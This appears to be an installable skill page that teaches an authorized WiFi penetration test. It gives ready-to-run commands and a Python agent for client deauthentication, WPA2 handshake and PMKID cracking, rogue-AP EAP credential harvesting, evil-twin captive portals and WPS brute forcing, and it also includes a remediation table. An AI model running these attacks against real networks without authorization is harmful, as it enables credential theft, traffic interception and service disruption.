penetration testing

Performing Wireless Network Penetration Test

Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2/WPA3 keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.

802.11aircrack-ngevil-twinkismetrogue-apwifiwireless-pentestwpa2
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.

When to Use

  • When conducting security assessments that involve performing wireless network penetration test
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
  • Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
  • Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
  • Physical proximity to target wireless networks
  • GPS receiver for mapping (optional)

Phase 1 — Wireless Reconnaissance

Enable Monitor Mode

# Check wireless interfaces
iwconfig
airmon-ng
 
# Kill interfering processes
airmon-ng check kill
 
# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon
 
# Verify monitor mode
iwconfig wlan0mon

Passive Scanning

# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap
 
# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan
 
# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan
 
# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan
 
# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501

Network Inventory

SSID BSSID Channel Encryption Clients Signal
CorpWiFi AA:BB:CC:DD:EE:01 6 WPA2-Enterprise 45 -55dBm
CorpGuest AA:BB:CC:DD:EE:02 11 WPA2-PSK 12 -60dBm
PrinterNet AA:BB:CC:DD:EE:03 1 WEP 3 -70dBm
HiddenSSID AA:BB:CC:DD:EE:04 36 WPA2-PSK 8 -65dBm

Phase 2 — WPA2-PSK Attack

Capture 4-Way Handshake

# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon
 
# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon
 
# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output

Crack WPA2 Key

# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap
 
# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap
 
# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
 
# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

Phase 3 — WPA2-Enterprise Attack

# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF
 
# EAP user file
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF
 
hostapd-mana hostapd-mana.conf
 
# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt

Phase 4 — Evil Twin Attack

# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon
 
# Within Bettercap:
wifi.recon on
wifi.ap
 
# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF
 
# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1
 
# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon

Phase 5 — Additional Tests

Rogue AP Detection

# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs
 
# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings

Client Isolation Testing

# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24
 
# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24
 
# Test VLAN hopping
# If guest network is not properly segmented from corporate

WPS Attack

# Check for WPS-enabled APs
wash -i wlan0mon
 
# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
 
# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv

Findings Template

Finding Severity CVSS Remediation
WPA2-PSK with weak passphrase High 8.1 Use 20+ char passphrase or migrate to WPA2-Enterprise
WEP encryption on printer network Critical 9.1 Upgrade to WPA2/WPA3, segment printer VLAN
WPS enabled on guest AP Medium 5.3 Disable WPS on all access points
No client isolation on guest High 7.5 Enable AP isolation and VLAN segmentation
Corporate SSID broadcasts on rogue AP High 8.1 Deploy WIDS/WIPS, implement 802.1X with cert validation
EAP-MSCHAP without cert pinning High 7.5 Enforce server certificate validation on all clients

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.4 KB

API Reference: Wireless Network Penetration Testing

Aircrack-ng Suite

Tool Description
airmon-ng start <iface> Enable monitor mode
airodump-ng <mon_iface> Scan for wireless networks
airodump-ng --bssid <bssid> -c <ch> -w <prefix> <iface> Capture handshake
aireplay-ng -0 5 -a <bssid> <iface> Deauthentication attack
aircrack-ng <cap> -w <wordlist> Crack WPA/WPA2 handshake
wash -i <iface> Detect WPS-enabled APs
reaver -i <iface> -b <bssid> WPS PIN brute force

airodump-ng CSV Fields

Column Description
BSSID Access point MAC address
Channel Operating channel
Encryption WPA2, WPA, WEP, OPN
ESSID Network name
Power Signal strength (dBm)

Encryption Risk Levels

Encryption Risk
Open (OPN) Critical - No encryption
WEP Critical - Easily crackable
WPA (TKIP) High - Deprecated
WPA2 (CCMP) Medium - Dictionary attacks
WPA3 (SAE) Low - Current standard

Python Libraries

Library Version Purpose
subprocess stdlib Execute aircrack-ng tools
re stdlib Parse tool output
csv stdlib Parse airodump CSV

References

standards.md1.0 KB

Standards — Wireless Penetration Testing

Standards

  • IEEE 802.11: Wireless LAN standard
  • WPA3 (WiFi Protected Access 3): Latest security protocol using SAE
  • NIST SP 800-153: Guidelines for Securing Wireless Local Area Networks
  • PCI DSS v4.0 Req 11.2: Wireless access point detection

Wireless Encryption Comparison

Protocol Key Management Crackable Notes
WEP Static IV Trivially Deprecated, never use
WPA-TKIP PSK/Enterprise Possible Legacy, avoid
WPA2-PSK PBKDF2/CCMP Dictionary attacks Requires strong passphrase
WPA2-Enterprise 802.1X/RADIUS Certificate attacks Recommended with cert pinning
WPA3-SAE Dragonfly handshake Resistant Best current option

Tools

Tool Purpose
Aircrack-ng Full wireless testing suite
Kismet Wireless IDS and scanner
Bettercap Network attack framework
Wifite Automated WiFi attack tool
hcxdumptool PMKID capture
Reaver WPS PIN bruteforce
workflows.md0.9 KB

Workflows — Wireless Penetration Testing

Attack Flow

Monitor Mode Activation

    ├── Passive Reconnaissance
    │   ├── SSID/BSSID discovery
    │   ├── Client enumeration
    │   └── Channel mapping

    ├── WPA2-PSK Attacks
    │   ├── Handshake capture (deauth + capture)
    │   ├── PMKID attack (clientless)
    │   └── Offline cracking (Hashcat/Aircrack)

    ├── WPA2-Enterprise Attacks
    │   ├── Rogue AP (hostapd-mana)
    │   ├── EAP credential capture
    │   └── MSCHAP hash cracking

    ├── Evil Twin / Captive Portal
    │   ├── Clone SSID
    │   ├── Deauth real AP
    │   └── Credential harvest

    └── Segmentation Testing
        ├── Client isolation
        ├── VLAN traversal
        └── Corporate network reach

Scripts 2

agent.py5.5 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for wireless network penetration testing.

Runs aircrack-ng suite tools via subprocess for WiFi reconnaissance,
WPA handshake capture, deauthentication testing, and generates
a wireless security assessment report.
"""

import subprocess
import json
import sys
import re
from datetime import datetime
from pathlib import Path


class WirelessPentestAgent:
    """Automates wireless network penetration testing with aircrack-ng."""

    def __init__(self, interface, output_dir="./wireless_pentest"):
        self.interface = interface
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)
        self.networks = []
        self.findings = []

    def enable_monitor_mode(self):
        """Put wireless interface into monitor mode using airmon-ng."""
        result = subprocess.run(
            ["airmon-ng", "start", self.interface],
            capture_output=True, text=True, timeout=30)
        mon_iface = f"{self.interface}mon"
        match = re.search(r"monitor mode.*enabled on (\w+)", result.stdout)
        if match:
            mon_iface = match.group(1)
        self.interface = mon_iface
        return {"monitor_interface": mon_iface, "status": result.returncode}

    def scan_networks(self, duration=30):
        """Scan for wireless networks using airodump-ng."""
        csv_prefix = str(self.output_dir / "scan")
        try:
            subprocess.run(
                ["airodump-ng", self.interface, "-w", csv_prefix,
                 "--output-format", "csv", "--write-interval", "1"],
                capture_output=True, text=True, timeout=duration)
        except subprocess.TimeoutExpired:
            pass

        csv_file = Path(f"{csv_prefix}-01.csv")
        if csv_file.exists():
            self.networks = self._parse_airodump_csv(csv_file)
        return self.networks

    def _parse_airodump_csv(self, csv_path):
        """Parse airodump-ng CSV output for network details."""
        networks = []
        try:
            lines = csv_path.read_text(errors="ignore").splitlines()
            in_ap_section = False
            for line in lines:
                if "BSSID" in line and "channel" in line.lower():
                    in_ap_section = True
                    continue
                if "Station MAC" in line:
                    break
                if in_ap_section and line.strip():
                    parts = [p.strip() for p in line.split(",")]
                    if len(parts) >= 14:
                        enc = parts[5].strip()
                        networks.append({
                            "bssid": parts[0], "channel": parts[3],
                            "encryption": enc, "essid": parts[13],
                            "power": parts[8],
                        })
                        if enc in ("OPN", "WEP", ""):
                            self.findings.append({
                                "type": "Weak Encryption",
                                "severity": "Critical" if enc in ("OPN", "") else "High",
                                "bssid": parts[0], "essid": parts[13],
                                "encryption": enc or "Open",
                            })
        except (IndexError, UnicodeDecodeError):
            pass
        return networks

    def capture_handshake(self, bssid, channel, duration=60):
        """Capture WPA/WPA2 4-way handshake."""
        cap_prefix = str(self.output_dir / "handshake")
        try:
            subprocess.run(
                ["airodump-ng", self.interface, "--bssid", bssid,
                 "-c", str(channel), "-w", cap_prefix],
                capture_output=True, timeout=duration)
        except subprocess.TimeoutExpired:
            pass
        cap_file = Path(f"{cap_prefix}-01.cap")
        return {"capture_file": str(cap_file), "exists": cap_file.exists()}

    def crack_handshake(self, cap_file, wordlist):
        """Attempt to crack WPA handshake with aircrack-ng."""
        result = subprocess.run(
            ["aircrack-ng", cap_file, "-w", wordlist],
            capture_output=True, text=True, timeout=600)
        if "KEY FOUND" in result.stdout:
            match = re.search(r"KEY FOUND! \[ (.+?) \]", result.stdout)
            key = match.group(1) if match else "unknown"
            self.findings.append({"type": "WPA Key Cracked",
                                  "severity": "Critical", "key": key})
            return {"cracked": True, "key": key}
        return {"cracked": False}

    def test_wps(self, bssid):
        """Test WPS PIN vulnerability using reaver/wash."""
        result = subprocess.run(
            ["wash", "-i", self.interface], capture_output=True,
            text=True, timeout=30)
        wps_enabled = bssid in result.stdout
        if wps_enabled:
            self.findings.append({"type": "WPS Enabled", "severity": "High",
                                  "bssid": bssid})
        return {"wps_enabled": wps_enabled}

    def generate_report(self):
        report = {
            "report_date": datetime.utcnow().isoformat(),
            "interface": self.interface,
            "networks_found": len(self.networks),
            "findings": self.findings,
            "networks": self.networks[:50],
        }
        print(json.dumps(report, indent=2))
        return report


def main():
    iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0"
    agent = WirelessPentestAgent(iface)
    agent.enable_monitor_mode()
    agent.scan_networks(duration=30)
    agent.generate_report()


if __name__ == "__main__":
    main()
process.py7.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Wireless Penetration Test — Automation Process

Parses airodump-ng CSV output and generates wireless assessment reports.

Usage:
    python process.py --scan-file scan-01.csv --authorized-aps authorized.txt --output ./results
"""

import csv
import json
import argparse
import datetime
from pathlib import Path


def parse_airodump_csv(csv_file: str) -> tuple[list[dict], list[dict]]:
    """Parse airodump-ng CSV output into APs and clients."""
    aps = []
    clients = []
    section = "ap"

    with open(csv_file, encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            if "Station MAC" in line:
                section = "client"
                continue
            if "BSSID" in line and section == "ap":
                continue

            fields = [f.strip() for f in line.split(",")]

            if section == "ap" and len(fields) >= 14:
                ap = {
                    "bssid": fields[0],
                    "first_seen": fields[1],
                    "last_seen": fields[2],
                    "channel": fields[3],
                    "speed": fields[4],
                    "privacy": fields[5],
                    "cipher": fields[6],
                    "authentication": fields[7],
                    "power": fields[8],
                    "beacons": fields[9],
                    "iv": fields[10],
                    "lan_ip": fields[11],
                    "id_length": fields[12],
                    "essid": fields[13] if len(fields) > 13 else "",
                }
                if ap["bssid"] and ap["bssid"] != "BSSID":
                    aps.append(ap)

            elif section == "client" and len(fields) >= 6:
                client = {
                    "station_mac": fields[0],
                    "first_seen": fields[1],
                    "last_seen": fields[2],
                    "power": fields[3],
                    "packets": fields[4],
                    "bssid": fields[5],
                    "probed_essids": fields[6] if len(fields) > 6 else "",
                }
                if client["station_mac"] and client["station_mac"] != "Station MAC":
                    clients.append(client)

    return aps, clients


def detect_rogue_aps(aps: list[dict], authorized_file: str) -> list[dict]:
    """Compare discovered APs against authorized list."""
    authorized_bssids = set()
    try:
        with open(authorized_file) as f:
            for line in f:
                bssid = line.strip().upper()
                if bssid:
                    authorized_bssids.add(bssid)
    except FileNotFoundError:
        print(f"[-] Authorized AP file not found: {authorized_file}")
        return []

    rogue_aps = []
    for ap in aps:
        if ap["bssid"].upper() not in authorized_bssids:
            rogue_aps.append(ap)

    return rogue_aps


def assess_encryption(aps: list[dict]) -> list[dict]:
    """Assess encryption strength of discovered APs."""
    findings = []
    for ap in aps:
        privacy = ap.get("privacy", "").upper()
        finding = {
            "essid": ap["essid"],
            "bssid": ap["bssid"],
            "encryption": privacy,
            "severity": "Info",
            "issue": None,
        }

        if "WEP" in privacy:
            finding["severity"] = "Critical"
            finding["issue"] = "WEP encryption is trivially crackable"
        elif "OPN" in privacy or not privacy.strip():
            finding["severity"] = "High"
            finding["issue"] = "Open network with no encryption"
        elif "WPA" in privacy and "TKIP" in ap.get("cipher", "").upper():
            finding["severity"] = "Medium"
            finding["issue"] = "TKIP cipher is deprecated"
        elif "WPA2" in privacy and "PSK" in ap.get("authentication", "").upper():
            finding["severity"] = "Low"
            finding["issue"] = "WPA2-PSK susceptible to dictionary attacks"
        elif "WPA3" in privacy:
            finding["severity"] = "Info"
            finding["issue"] = "WPA3-SAE provides strong protection"

        if finding["issue"]:
            findings.append(finding)

    return findings


def generate_report(aps: list[dict], clients: list[dict],
                     rogue_aps: list[dict], findings: list[dict],
                     output_dir: Path) -> str:
    """Generate wireless assessment report."""
    report_file = output_dir / "wireless_assessment_report.md"
    timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")

    with open(report_file, "w") as f:
        f.write("# Wireless Network Penetration Test Report\n\n")
        f.write(f"**Generated:** {timestamp}\n\n---\n\n")

        f.write("## Network Discovery\n\n")
        f.write(f"Total access points: **{len(aps)}**\n")
        f.write(f"Total clients: **{len(clients)}**\n\n")

        f.write("### Discovered Access Points\n\n")
        f.write("| ESSID | BSSID | Channel | Encryption | Auth | Signal |\n")
        f.write("|-------|-------|---------|-----------|------|--------|\n")
        for ap in aps:
            f.write(f"| {ap['essid']} | {ap['bssid']} | {ap['channel']} "
                    f"| {ap['privacy']} | {ap['authentication']} | {ap['power']}dBm |\n")
        f.write("\n")

        if rogue_aps:
            f.write("## Rogue Access Points\n\n")
            f.write(f"**{len(rogue_aps)} unauthorized APs detected**\n\n")
            for rap in rogue_aps:
                f.write(f"- **{rap['essid']}** ({rap['bssid']}) — Ch {rap['channel']}\n")
            f.write("\n")

        f.write("## Security Findings\n\n")
        for finding in sorted(findings, key=lambda x: {"Critical": 0, "High": 1,
                                                         "Medium": 2, "Low": 3,
                                                         "Info": 4}.get(x["severity"], 5)):
            f.write(f"### [{finding['severity']}] {finding['essid']}\n")
            f.write(f"- BSSID: {finding['bssid']}\n")
            f.write(f"- Issue: {finding['issue']}\n\n")

        f.write("## Recommendations\n\n")
        f.write("1. Upgrade all WEP/open networks to WPA2-Enterprise or WPA3\n")
        f.write("2. Deploy WIDS/WIPS for rogue AP detection\n")
        f.write("3. Use 20+ character passphrases for any remaining PSK networks\n")
        f.write("4. Enable client isolation on guest networks\n")
        f.write("5. Implement 802.1X with certificate validation\n")

    print(f"[+] Report: {report_file}")
    return str(report_file)


def main():
    parser = argparse.ArgumentParser(description="Wireless Pentest Report Generator")
    parser.add_argument("--scan-file", required=True, help="Airodump-ng CSV file")
    parser.add_argument("--authorized-aps", help="File with authorized BSSIDs")
    parser.add_argument("--output", default="./results")
    args = parser.parse_args()

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    aps, clients = parse_airodump_csv(args.scan_file)
    print(f"[+] Parsed {len(aps)} APs and {len(clients)} clients")

    rogue_aps = []
    if args.authorized_aps:
        rogue_aps = detect_rogue_aps(aps, args.authorized_aps)

    findings = assess_encryption(aps)
    generate_report(aps, clients, rogue_aps, findings, output_dir)


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 0.8 KB
Keep exploring